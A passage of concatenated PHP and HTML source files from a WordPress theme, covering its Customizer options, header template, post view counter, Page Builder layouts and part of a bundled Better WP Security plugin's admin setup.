<div class="col-sm-3 text-center">
<span>Full Width</span>
<div class="onoffswitch">
<input type="radio" name="opt_radio_layout" value="full-width-layout" id="full-width-layout" <?php echo( $layout == 'full-width-layout' || $layout == '' ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="full-width-layout">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
<div class="col-sm-3 text-center">
<span>Boxed</span>
<div class="onoffswitch">
<input type="radio" name="opt_radio_layout" value="boxed-layout" id="boxed-layout" <?php echo( $layout == 'boxed-layout' ) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="boxed-layout">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
</div><!-- form-group end -->
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-views-counter.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*------------------------------------------------*/
/* VIEWS COUNTER */
/*------------------------------------------------*/
// Show post views counter
function fdc_get_post_views($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return 0;
}
return $count;
}//fdc_get_post_views()
// Count post view
function fdc_set_post_views($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}//fdc_set_post_views()
// Remove issues with prefetching adding extra views
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);<file_sep>/wp-content/themes/TWWF/header.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
?>
<!DOCTYPE html>
<!--[if lt IE 7 ]><html xmlns="http://www.w3.org/1999/xhtml" class="no-js ie6" lang="en"><![endif]-->
<!--[if IE 7 ]><html xmlns="http://www.w3.org/1999/xhtml" class="no-js ie7" lang="en"><![endif]-->
<!--[if IE 8 ]><html xmlns="http://www.w3.org/1999/xhtml" class="no-js ie8" lang="en"><![endif]-->
<!--[if IE 9 ]><html xmlns="http://www.w3.org/1999/xhtml" class="no-js ie9" lang="en"><![endif]-->
<html <?php language_attributes(); ?>>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title><?php bloginfo('name'); ?> <?php wp_title('|'); ?></title>
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<!-- Favicons -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="<?php echo get_template_directory_uri(); ?>/assets/ico/apple-touch-icon-144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="<?php echo get_template_directory_uri(); ?>/assets/ico/apple-touch-icon-114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="<?php echo get_template_directory_uri(); ?>/assets/ico/apple-touch-icon-72-precomposed.png">
<link rel="apple-touch-icon-precomposed" href="<?php echo get_template_directory_uri(); ?>/assets/ico/apple-touch-icon-57-precomposed.png">
<link rel="shortcut icon" href="<?php echo get_template_directory_uri(); ?>/assets/ico/favicon.png">
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<script src="<?php echo get_template_directory_uri(); ?>/assets/js/respond.min.js"></script>
<![endif]-->
<?php wp_head(); ?>
</head>
<body <?php body_class($layout); ?>>
<?php get_template_part('/sections/toolbar'); ?>
<header class="main-header">
<section class="container">
<!-- Navbar -->
<!-- <nav class="navbar navbar-default" role="navigation"> -->
<nav class="navbar" role="navigation">
<div class="navbar-header">
<?php
if( is_active_sidebar('brand') ):
dynamic_sidebar('brand');
else:
?>
<!-- <a class="navbar-brand" href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a> -->
<?php endif; ?>
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"><i class="fa fa-bars"></i></button>
</div><!-- navbar-header end -->
<section class="collapse navbar-collapse">
<div class="navbar-right">
<?php
if( is_active_sidebar('navbar_left') ):
dynamic_sidebar('navbar_left');
else:
fdc_main_nav();
endif;
?>
<div class="nav-user">
<div class="avatar"><img src="wp-content/uploads/2014/10/4720480931.jpg" /></div>
<a href="#" class="user-mail"><EMAIL> <i class="fa fa-caret-down"></i></a>
</div><!-- nav-user end -->
</div><!-- navbar-right end -->
<a href="#" class="btn btn-enroll">enroll now</a>
</section><!-- collapse end -->
</nav><!-- navbar-default end -->
</section><!-- container end -->
</header><!-- main-header end -->
<file_sep>/wp-content/themes/TWWF/lib/customizer/customizer.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*---------------------------------------------------*/
/* CUSTOMIZER STYLES AND SCRIPTS */
/*---------------------------------------------------*/
function fdc_customizer_scripts(){
wp_enqueue_script( 'customizer', get_template_directory_uri().'/lib/customizer/fdc-customizer.js', false, '1.10.2', true ); // JQUERY
}
add_action( 'customize_controls_print_footer_scripts', 'fdc_customizer_scripts' );
function fdc_customizer_styles() {
if ( is_admin() ){
wp_enqueue_style('fdc-customizer-stylesheet', get_template_directory_uri().'/lib/customizer/fdc-customizer.css', false, '1.0');
}
}
add_action( 'customize_controls_print_styles', 'fdc_customizer_styles' );
/*---------------------------------------------------*/
/* OPTIONS */
/*---------------------------------------------------*/
function customizer_menu() {
add_theme_page( 'Theme Options', 'Theme Options', 'edit_theme_options', 'customize.php' );
}
add_action( 'admin_menu', 'customizer_menu' );
function theme_options( $wp_customize ){
/*---------------------------------------------------*/
/* Adds textarea support to the theme customizer */
/*---------------------------------------------------*/
class WP_Customize_Textarea_Control extends WP_Customize_Control {
public $type = 'textarea';
public function render_content() {
?>
<label>
<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
<textarea rows="5" style="width:100%;" <?php $this->link(); ?>><?php echo esc_textarea( $this->value() ); ?></textarea>
</label>
<?php
}
}
/*---------------------------------------------------*/
/* GENERAL SETTINGS */
/*---------------------------------------------------*/
$wp_customize->add_section(
'general_settings',
array(
'title' => 'General Settings',
//'description' => 'This is a settings section.',
'priority' => 1,
)
);
// RESPONSIVE
$wp_customize->add_setting(
'responsive',
array(
'default' => 'responsive',
)
);
$wp_customize->add_control(
'responsive',
array(
'label' => 'Responsive',
'section' => 'general_settings',
'type' => 'radio',
'choices' => array(
'responsive' => 'Responsive',
'non-responsive' => 'Non responsive'
)
)
);
// LAYOUT OPTIONS
$wp_customize->add_setting(
'layout_type',
array(
'default' => 'boxed-layout',
)
);
$wp_customize->add_control(
'layout_type',
array(
'label' => 'Layout Type',
'section' => 'general_settings',
'type' => 'radio',
'choices' => array(
'full-width-layout' => 'Full Width',
'boxed-layout' => 'Boxed'
)
)
);
/*---------------------------------------------------*/
/* NAVIGATION */
/*---------------------------------------------------*/
$wp_customize->add_setting(
'primary_nav_container_class',
array(
'default' => 'collapse navbar-collapse',
)
);
$wp_customize->add_control(
'primary_nav_container_class',
array(
'label' => 'Primary Nav Container Class',
'section' => 'nav',
'type' => 'text'
)
);
$wp_customize->add_setting(
'secondary_nav_container_class',
array(
'default' => 'collapse navbar-collapse',
)
);
$wp_customize->add_control(
'secondary_nav_container_class',
array(
'label' => 'Secondary Nav Container Class',
'section' => 'nav',
'type' => 'text'
)
);
/*---------------------------------------------------*/
/* FOOTER */
/*---------------------------------------------------*/
$wp_customize->add_section(
'footer',
array(
'title' => 'Footer',
//'description' => 'This is a settings section.',
'priority' => 10,
)
);
// FOOTER LAYOUT OPTIONS
$wp_customize->add_setting(
'footer_layout',
array(
'default' => 'footer-full-width',
)
);
$wp_customize->add_control(
'footer_layout',
array(
'label' => 'Footer Layout',
'section' => 'footer',
'type' => 'radio',
'transport' => 'refresh',
'choices' => array(
'footer-full-width' => 'Full Width',
'footer-2-cols' => '2 Columns',
'footer-3-cols' => '3 Columns',
'footer-4-cols' => '4 Columns',
'footer-5-cols' => '5 Columns',
'footer-6-cols' => '6 Columns',
'footer-third-twothird' => 'Third Towthird',
'footer-fourth-threefourth' => 'Fourth Threefourth',
'footer-fourth-fourthhalf' => 'Fourth Fourthhalf',
'footer-fourth-fourthhalf' => 'Sixth Fivesixt',
'third-sixth-sixth-sixth-sixth' => 'Third Sixth Sixth Sixth Sixth',
'half-sixth-sixth-sixth' => 'Half Sixth Sixth Sixth',
'twothird-third' => 'Twothird Third',
'threefourth-fourth' => 'Threefourth Fourth',
'halffourth-fourth' => 'Half Fourth Fourth',
'fivesixth-sixth' => 'Fivesixth Sixth',
'sixth-sixth-sixth-sixth-third' => 'Sixth Sixth Sixth Sixth Third',
'sixth-sixth-sixth-half' => 'Sixth Sixth Sixth Half'
)
)
);
$wp_customize->add_setting(
'footer_additional_class_col1',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col1',
array(
'label' => 'Footer additional class for column 1',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
$wp_customize->add_setting(
'footer_additional_class_col2',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col2',
array(
'label' => 'Footer additional class for column 2',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
$wp_customize->add_setting(
'footer_additional_class_col3',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col3',
array(
'label' => 'Footer additional class for column 3',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
$wp_customize->add_setting(
'footer_additional_class_col4',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col4',
array(
'label' => 'Footer additional class for column 4',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
$wp_customize->add_setting(
'footer_additional_class_col5',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col5',
array(
'label' => 'Footer additional class for column 5',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
$wp_customize->add_setting(
'footer_additional_class_col6',
array(
'default' => '',
)
);
$wp_customize->add_control(
'footer_additional_class_col6',
array(
'label' => 'Footer additional class for column 6',
'section' => 'footer',
'type' => 'text',
'transport' => 'refresh'
)
);
/*---------------------------------------------------*/
/* THIRD PARTY PLUGINS */
/*---------------------------------------------------*/
$wp_customize->add_section(
'third_party_plugins',
array(
'title' => 'Additional Plugins',
'description' => '<p>This framework use third party plugins. If you don´t need them, can disable here.</p>',
'priority' => 11,
)
);
// CUSTOM POST TYPE UI
$wp_customize->add_setting(
'plugin_cpt',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_cpt',
array(
'type' => 'checkbox',
'label' => 'Custom Post Type UI',
'section' => 'third_party_plugins'
)
);
// ADVANCED CUSTOM FIELD
$wp_customize->add_setting(
'plugin_acf',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_acf',
array(
'type' => 'checkbox',
'label' => 'Advanced Custom Fields',
'section' => 'third_party_plugins'
)
);
// ADMINIMIZE
$wp_customize->add_setting(
'plugin_adminimize',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_adminimize',
array(
'type' => 'checkbox',
'label' => 'Adminimize',
'section' => 'third_party_plugins'
)
);
// BETTER WP SECURITY
$wp_customize->add_setting(
'plugin_better_wp_security',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_better_wp_security',
array(
'type' => 'checkbox',
'label' => 'Better WP Security',
'section' => 'third_party_plugins'
)
);
// WP SMUSHIT
$wp_customize->add_setting(
'plugin_wp_smushit',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_wp_smushit',
array(
'type' => 'checkbox',
'label' => 'WP Smushit',
'section' => 'third_party_plugins'
)
);
// USER AVATAR
$wp_customize->add_setting(
'plugin_user_avatar',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_user_avatar',
array(
'type' => 'checkbox',
'label' => 'User Avatar',
'section' => 'third_party_plugins'
)
);
// FDC FACEBOOK LIKEBOX
$wp_customize->add_setting(
'plugin_fb_likebox',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'plugin_fb_likebox',
array(
'type' => 'checkbox',
'label' => 'Facebook Likebox',
'section' => 'third_party_plugins'
)
);
/*---------------------------------------------------*/
/* ADMIN OPTIONS */
/*---------------------------------------------------*/
$wp_customize->add_section(
'admin_options',
array(
'title' => 'Admin Options',
//'description' => 'This is a settings section.',
'priority' => 12,
)
);
// ADMIN LOGO
$wp_customize->add_setting(
'admin_logo',
array(
//'capability' => 'edit_theme_options',
//'type' => 'option',
'default' => get_template_directory_uri() .'/lib/admin/assets/images/fdcframework_brand.png'
)
);
$wp_customize->add_control(
new WP_Customize_Image_Control(
$wp_customize,
'admin_logo',
array(
'label' => 'Admin Brand (300 x 70)',
'section' => 'admin_options',
'settings' => 'admin_logo',
)
)
);
// WP ADMIN BAR
$wp_customize->add_setting(
'show_admin_bar',
array(
'default' => 1,
)
);
$wp_customize->add_control(
'show_admin_bar',
array(
'type' => 'checkbox',
'label' => 'Show Admin Bar',
'section' => 'admin_options'
)
);
/*---------------------------------------------------*/
/* ANALYTICS */
/*---------------------------------------------------*/
$wp_customize->add_section(
'analytics',
array(
'title' => 'Analytics',
//'description' => 'This is a settings section.',
'priority' => 12,
)
);
// ANALYTICS
$wp_customize->add_setting(
'analytics_code',
array(
'default' => '',
)
);
$wp_customize->add_control(
new WP_Customize_Textarea_Control(
$wp_customize,
'analytics_code',
array(
'label' => 'Analytics Code',
'section' => 'analytics',
'settings' => 'analytics_code'
)
)
);
} // theme_options end
add_action( 'customize_register', 'theme_options' );
require_once get_template_directory() . '/lib/customizer/variables.php';
<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/bloginfo-shortcodes.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $bloginfo_shortcodes;
?>
<h4>Bloginfo Shortcodes</h4>
<div class="row">
<div class="col-sm-3 text-center">
<span>Bloginfo Shortcodes</span>
<div class="onoffswitch">
<input type="checkbox" value="1" id="opt_check_bloginfo_shortcodes" name="opt_check_bloginfo_shortcodes" <?php echo( $bloginfo_shortcodes == 1) ? 'checked': null; ?>>
<label class="onoffswitch-label" for="opt_check_bloginfo_shortcodes">
<span class="onoffswitch-inner"></span>
<span class="onoffswitch-switch"></span>
</label>
</div><!-- onoffswitch end -->
</div><!-- col end -->
</div><!-- row end -->
<file_sep>/wp-content/themes/TWWF/page.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/**
* Default page template
*
* @package WordPress
* @subpackage Wootstrap
* @since Wootstrap 1.1
*/
get_header();
get_template_part('page-above');
$pagename = get_query_var('pagename');
?>
<main role="main">
<section class="container">
<?php if( !$pagename ): ?>
<?php
elseif( $pagename == 'quienes-somos'):
get_template_part('pages/about');
elseif( $pagename == 'servicios'):
get_template_part('pages/services');
elseif( $pagename == 'clientes'):
get_template_part('pages/clients');
endif;
?>
</section><!-- container end -->
<?php get_template_part('page-below'); ?>
<file_sep>/wp-content/themes/TWWF/lib/plugins/better-wp-security-3.6.5/better-wp-security.php
<?php
//Require common Bit51 library
require_once( plugin_dir_path( __FILE__ ) . 'lib/bit51/bit51.php' );
if ( ! class_exists( 'bit51_bwps' ) ) {
class bit51_bwps extends Bit51Foo {
public $pluginversion = '3064'; //current plugin version
//important plugin information
public $hook = 'better-wp-security';
public $pluginbase = 'better-wp-security/better-wp-security.php';
public $pluginname = 'Better WP Security';
public $homepage = 'http://bit51.com/software/better-wp-security/';
public $supportpage = 'http://wordpress.org/support/plugin/better-wp-security';
public $wppage = 'http://wordpress.org/extend/plugins/better-wp-security/';
public $accesslvl = 'manage_options';
public $paypalcode = 'V647NGJSBC882';
public $plugindata = 'bit51_bwps_data';
public $primarysettings = 'bit51_bwps';
public $settings = array(
'bit51_bwps_options' => array(
'bit51_bwps' => array(
'initial_backup' => '0',
'initial_filewrite' => '0',
'am_enabled' => '0',
'am_type' => '0',
'am_startdate' => '1',
'am_enddate' => '1',
'am_starttime' => '1',
'am_endtime' => '1',
'backup_email' => '1',
'backup_emailaddress' => '',
'backup_time' => '1',
'backup_interval' => '1',
'backup_enabled' => '0',
'backup_last' => '',
'backup_next' => '',
'backups_to_retain' => '10',
'bu_enabled' => '0',
'bu_banlist' => '',
'bu_banagent' => '',
'bu_blacklist' => '0',
'hb_enabled' => '0',
'hb_login' => 'login',
'hb_register' => 'register',
'hb_admin' => 'admin',
'hb_key' => '',
'll_enabled' => '0',
'll_maxattemptshost' => '5',
'll_maxattemptsuser' => '10',
'll_checkinterval' => '5',
'll_banperiod' => '15',
'll_blacklistip' => '1',
'll_blacklistipthreshold' => '3',
'll_emailnotify' => '1',
'll_emailaddress' => '',
'id_enabled' => '0',
'id_emailnotify' => '1',
'id_checkinterval' => '5',
'id_threshold' => '20',
'id_banperiod' => '15',
'id_blacklistip' => '0',
'id_blacklistipthreshold' => '3',
'id_whitelist' => '',
'id_emailaddress' => '',
'id_fileenabled' => '0',
'id_fileemailnotify' => '1',
'id_filedisplayerror' => '1',
'id_fileemailaddress' => '',
'id_specialfile' => '',
'id_fileincex' => '1',
'id_filechecktime' => '',
'st_ht_files' => '0',
'st_ht_browsing' => '0',
'st_ht_request' => '0',
'st_ht_query' => '0',
'st_ht_foreign' => '0',
'st_generator' => '0',
'st_manifest' => '0',
'st_edituri' => '0',
'st_themenot' => '0',
'st_pluginnot' => '0',
'st_corenot' => '0',
'st_enablepassword' => '0',
'st_passrole' => '<PASSWORD>',
'st_loginerror' => '0',
'st_fileperm' => '0',
'st_comment' => '0',
'st_randomversion' => '0',
'st_longurl' => '0',
'st_fileedit' => '0',
'st_writefiles' => '0',
'ssl_forcelogin' => '0',
'ssl_forceadmin' => '0',
'ssl_frontend' => '0',
'oneclickchosen' => '0'
)
)
);
public $tabs;
function __construct() {
global $bwps, $bwpsoptions, $bwpsdata;
//Get the options
if ( is_multisite() ) {
switch_to_blog( 1 );
$bwpsoptions = get_option( $this->primarysettings );
$bwpsdata = get_option( $this->plugindata );
restore_current_blog();
} else {
$bwpsoptions = get_option( $this->primarysettings );
$bwpsdata = get_option( $this->plugindata );
}
//set path information
if ( ! defined( 'BWPS_PP' ) ) {
define( 'BWPS_PP', plugin_dir_path( __FILE__ ) );
}
if ( ! defined( 'BWPS_PU' ) ) {
define( 'BWPS_PU', plugin_dir_url( $this->pluginbase, __FILE__ ) );
}
//load the text domain
load_plugin_textdomain( 'better-wp-security', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
//require setup information
require_once( BWPS_PP . 'inc/setup.php' );
register_activation_hook( __FILE__, array( 'bwps_setup', 'on_activate' ) );
register_deactivation_hook( __FILE__, array( 'bwps_setup', 'on_deactivate' ) );
register_uninstall_hook( __FILE__, array( 'bwps_setup', 'on_uninstall' ) );
//require admin pages
if ( is_admin() || ( is_multisite() && is_network_admin() ) ) {
require_once( BWPS_PP . 'inc/admin/construct.php' );
}
require_once( BWPS_PP . 'inc/auth.php' );
require_once( BWPS_PP . 'inc/secure.php' );
$bwps = new bwps_secure();
if ( $bwpsdata['version'] != $this->pluginversion || get_option( 'BWPS_options' ) != false ) {
new bwps_setup( 'activate', true );
}
}
}
}
//create plugin object
global $bwpsobject;
$bwpsobject = new bit51_bwps();
<file_sep>/wp-content/themes/TWWF/lib/panels.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/**
* Integrates this theme with SiteOrigin Page Builder.
*
* @package Wootstrap
* @since 1.0
* @license GPL 2.0
*/
/**
* Adds default page layouts
*
* @param $layouts
*/
function vantage_prebuilt_page_layouts($layouts){
$layouts['default-home'] = array (
'name' => __('Default Home', 'vantage'),
'widgets' =>
array(
0 =>
array(
'title' => __('Editable Home Page','vantage'),
'text' => __("You can edit this home page using our free, drag and drop Page Builder, or simply disable it to fall back to a standard blog. It's a powerful page building experience.",'vantage'),
'icon' => 'icon-edit',
'image' => '',
'icon_position' => 'top',
'more' => __('Start Editing','vantage'),
'more_url' => '#',
'box' => false,
'info' =>
array(
'class' => 'Vantage_CircleIcon_Widget',
'id' => '1',
'grid' => '0',
'cell' => '0',
),
),
1 =>
array(
'title' => __('Loads of Icons', 'vantage'),
'text' => __('This widget uses FontAwesome - giving you hundreds of icons. Or you could disable the icon and use your own image image. Great for testimonials.','vantage'),
'icon' => 'icon-ok-circle',
'image' => '',
'icon_position' => 'top',
'more' => __('Example Button','vantage'),
'more_url' => '#',
'box' => false,
'info' =>
array(
'class' => 'Vantage_CircleIcon_Widget',
'id' => '2',
'grid' => '0',
'cell' => '1',
),
),
2 =>
array(
'title' => __('Saves You Time','vantage'),
'text' => __("Building your pages using a drag and drop page builder is a great experience that will save you time. Time is valuable. Don't waste it.",'vantage'),
'icon' => 'icon-time',
'image' => '',
'icon_position' => 'top',
'more' => __('Test Button','vantage'),
'more_url' => '#',
'box' => false,
'info' =>
array(
'class' => 'Vantage_CircleIcon_Widget',
'id' => '3',
'grid' => '0',
'cell' => '2',
),
),
3 =>
array(
'headline' => __('This Is A Headline Widget','vantage'),
'sub_headline' => __('You can customize it and put it where ever you want','vantage'),
'info' =>
array(
'class' => 'Vantage_Headline_Widget',
'id' => '4',
'grid' => '1',
'cell' => '0',
),
),
4 =>
array(
'title' => __('Latest Posts', 'vantage'),
'template' => 'loops/loop-carousel.php',
'post_type' => 'post',
'posts_per_page' => '4',
'orderby' => 'date',
'order' => 'DESC',
'sticky' => '',
'additional' => '',
'info' =>
array(
'class' => 'SiteOrigin_Panels_Widgets_PostLoop',
'id' => '5',
'grid' => '2',
'cell' => '0',
),
),
5 =>
array(
'title' => '',
'text' => __('There are a lot of widgets bundled with Page Builder. You can use them to bring your pages to life.','vantage'),
'filter' => true,
'info' =>
array(
'class' => 'WP_Widget_Text',
'id' => '7',
'grid' => '2',
'cell' => '1',
),
),
),
'grids' =>
array(
0 =>
array(
'cells' => '3',
'style' => '',
),
1 =>
array(
'cells' => '1',
'style' => 'wide-grey',
),
2 =>
array(
'cells' => '2',
'style' => '',
),
),
'grid_cells' =>
array(
0 =>
array(
'weight' => '0.3333333333333333',
'grid' => '0',
),
1 =>
array(
'weight' => '0.3333333333333333',
'grid' => '0',
),
2 =>
array(
'weight' => '0.3333333333333333',
'grid' => '0',
),
3 =>
array(
'weight' => '1',
'grid' => '1',
),
4 =>
array(
'weight' => '0.6658461538461539',
'grid' => '2',
),
5 =>
array(
'weight' => '0.33415384615384613',
'grid' => '2',
),
),
);
return $layouts;
}
add_filter('siteorigin_panels_prebuilt_layouts', 'vantage_prebuilt_page_layouts');
/**
* Add row styles.
*
* @param $styles
* @return mixed
*/
/*
function vantage_panels_row_styles($styles) {
$styles['wide-grey'] = __('Wide Grey', 'vantage');
return $styles;
}
add_filter('siteorigin_panels_row_styles', 'vantage_panels_row_styles');
function vantage_panels_row_style_fields($fields) {
$fields['top_border'] = array(
'name' => __('Top Border Color', 'vantage'),
'type' => 'color',
);
$fields['bottom_border'] = array(
'name' => __('Bottom Border Color', 'vantage'),
'type' => 'color',
);
$fields['background'] = array(
'name' => __('Background Color', 'vantage'),
'type' => 'color',
);
$fields['background_image'] = array(
'name' => __('Background Image', 'vantage'),
'type' => 'url',
);
$fields['background_image_repeat'] = array(
'name' => __('Repeat Background Image', 'vantage'),
'type' => 'checkbox',
);
$fields['no_margin'] = array(
'name' => __('No Bottom Margin', 'vantage'),
'type' => 'checkbox',
);
return $fields;
}
add_filter('siteorigin_panels_row_style_fields', 'vantage_panels_row_style_fields');
function vantage_panels_panels_row_style_attributes($attr, $style) {
$attr['style'] = '';
if(!empty($style['top_border'])) $attr['style'] .= 'border-top: 1px solid '.$style['top_border'].'; ';
if(!empty($style['bottom_border'])) $attr['style'] .= 'border-bottom: 1px solid '.$style['bottom_border'].'; ';
if(!empty($style['background'])) $attr['style'] .= 'background-color: '.$style['background'].'; ';
if(!empty($style['background_image'])) $attr['style'] .= 'background-image: url('.esc_url($style['background_image']).'); ';
if(!empty($style['background_image_repeat'])) $attr['style'] .= 'background-repeat: repeat; ';
if(empty($attr['style'])) unset($attr['style']);
return $attr;
}
add_filter('siteorigin_panels_row_style_attributes', 'vantage_panels_panels_row_style_attributes', 10, 2);
function vantage_panels_panels_row_attributes($attr, $row) {
if(!empty($row['style']['no_margin'])) {
if(empty($attr['style'])) $attr['style'] = '';
$attr['style'] .= 'margin-bottom: 0px;';
}
return $attr;
}
add_filter('siteorigin_panels_row_attributes', 'vantage_panels_panels_row_attributes', 10, 2);
*/<file_sep>/wp-content/themes/TWWF/lib/customizer/variables.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
// LAYOUT
//$responsive = get_theme_mod( 'responsive', 'responsive' );
//$layout = get_theme_mod( 'layout_type', 'boxed-layout' );
// NAVIGATION
//$primary_nav_container_class = get_theme_mod( 'primary_nav_container_class', 'collapse navbar-collapse' );
//$secondary_nav_container_class = get_theme_mod( 'secondary_nav_container_class', 'collapse navbar-collapse' );
// THIRD PARTY PLUGINS
/*
$plugin_cpt = get_theme_mod( 'plugin_cpt', 1 );
$plugin_acf = get_theme_mod( 'plugin_acf', 1 );
$plugin_adminimize = get_theme_mod( 'plugin_adminimize', 1 );
$plugin_better_wp_security = get_theme_mod( 'plugin_better_wp_security', 1 );
$plugin_wp_seo = get_theme_mod( 'plugin_wp_seo', 1 );
$plugin_wp_smushit = get_theme_mod( 'plugin_wp_smushit', 1 );
$plugin_user_avatar = get_theme_mod( 'plugin_user_avatar', 1 );
$fdc_fb_likebox = get_theme_mod( 'plugin_fb_likebox', 1 );
*/
// ADMIN OPTIONS
//$admin_logo = get_theme_mod( 'admin_logo', 'default_value' );
//$admin_bar = get_theme_mod( 'show_admin_bar', 1 );
//$analytics = get_theme_mod( 'analytics_code', '' );
<file_sep>/wp-content/themes/TWWF/lib/plugins/better-wp-security-3.6.5/inc/admin/content.php
<?php
if ( ! class_exists( 'bwps_admin_content' ) ) {
class bwps_admin_content extends bwps_admin_common {
function __construct() {
global $bwpsoptions, $bwpstabs;
if ( $bwpsoptions['st_writefiles'] == 0 ) {
$bwpstabs = array(
'better-wp-security' => __( 'Dashboard', 'better-wp-security' ),
'better-wp-security-adminuser' => __( 'User', 'better-wp-security' ),
'better-wp-security-awaymode' => __( 'Away', 'better-wp-security' ),
'better-wp-security-banusers' => __( 'Ban', 'better-wp-security' ),
'better-wp-security-databasebackup' => __( 'Backup', 'better-wp-security' ),
'better-wp-security-hidebackend' => __( 'Hide', 'better-wp-security' ),
'better-wp-security-intrusiondetection' => __( 'Detect', 'better-wp-security' ),
'better-wp-security-loginlimits' => __( 'Login', 'better-wp-security' ),
'better-wp-security-ssl' => __( 'SSL', 'better-wp-security' ),
'better-wp-security-systemtweaks' => __( 'Tweaks', 'better-wp-security' ),
'better-wp-security-logs' => __( 'Logs', 'better-wp-security' )
);
} else {
$bwpstabs = array(
'better-wp-security' => __( 'Dashboard', 'better-wp-security' ),
'better-wp-security-adminuser' => __( 'User', 'better-wp-security' ),
'better-wp-security-awaymode' => __( 'Away', 'better-wp-security' ),
'better-wp-security-banusers' => __( 'Ban', 'better-wp-security' ),
'better-wp-security-contentdirectory' => __( 'Dir', 'better-wp-security' ),
'better-wp-security-databasebackup' => __( 'Backup', 'better-wp-security' ),
'better-wp-security-databaseprefix' => __( 'Prefix', 'better-wp-security' ),
'better-wp-security-hidebackend' => __( 'Hide', 'better-wp-security' ),
'better-wp-security-intrusiondetection' => __( 'Detect', 'better-wp-security' ),
'better-wp-security-loginlimits' => __( 'Login', 'better-wp-security' ),
'better-wp-security-ssl' => __( 'SSL', 'better-wp-security' ),
'better-wp-security-systemtweaks' => __( 'Tweaks', 'better-wp-security' ),
'better-wp-security-logs' => __( 'Logs', 'better-wp-security' )
);
}
if ( is_multisite() ) {
add_action( 'network_admin_menu', array( &$this, 'register_settings_page' ) );
} else {
add_action( 'admin_menu', array( &$this, 'register_settings_page' ) );
}
//add settings
add_action( 'admin_init', array( &$this, 'register_settings' ) );
}
/**
* Registers all WordPress admin menu items
*
**/
function register_settings_page() {
global $bwpsoptions, $bwpstabs;
add_menu_page(
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Dashboard', $this->hook ),
__( 'Security', $this->hook ),
$this->accesslvl,
$this->hook,
array( &$this, 'admin_dashboard' )
//BWPS_PU . 'images/shield-small.png'
);
if ( $bwpsoptions['initial_backup'] == 1 && $bwpsoptions['initial_filewrite'] == 1 ) { //they've backed up their database or ignored the warning
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Change Admin User', $this->hook ),
__( 'Admin User', $this->hook ),
$this->accesslvl,
$this->hook . '-adminuser',
array( &$this, 'admin_adminuser' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Away Mode', $this->hook ),
__( 'Away Mode', $this->hook ),
$this->accesslvl,
$this->hook . '-awaymode',
array( &$this, 'admin_awaymode' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Ban Users', $this->hook ),
__( 'Ban Users', $this->hook ),
$this->accesslvl,
$this->hook . '-banusers',
array( &$this, 'admin_banusers' )
);
if ( $bwpsoptions['st_writefiles'] == 1 ) {
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Change Content Directory', $this->hook ),
__( 'Content Directory', $this->hook ),
$this->accesslvl,
$this->hook . '-contentdirectory',
array( &$this, 'admin_contentdirectory' )
);
}
add_submenu_page(
$this->hook,
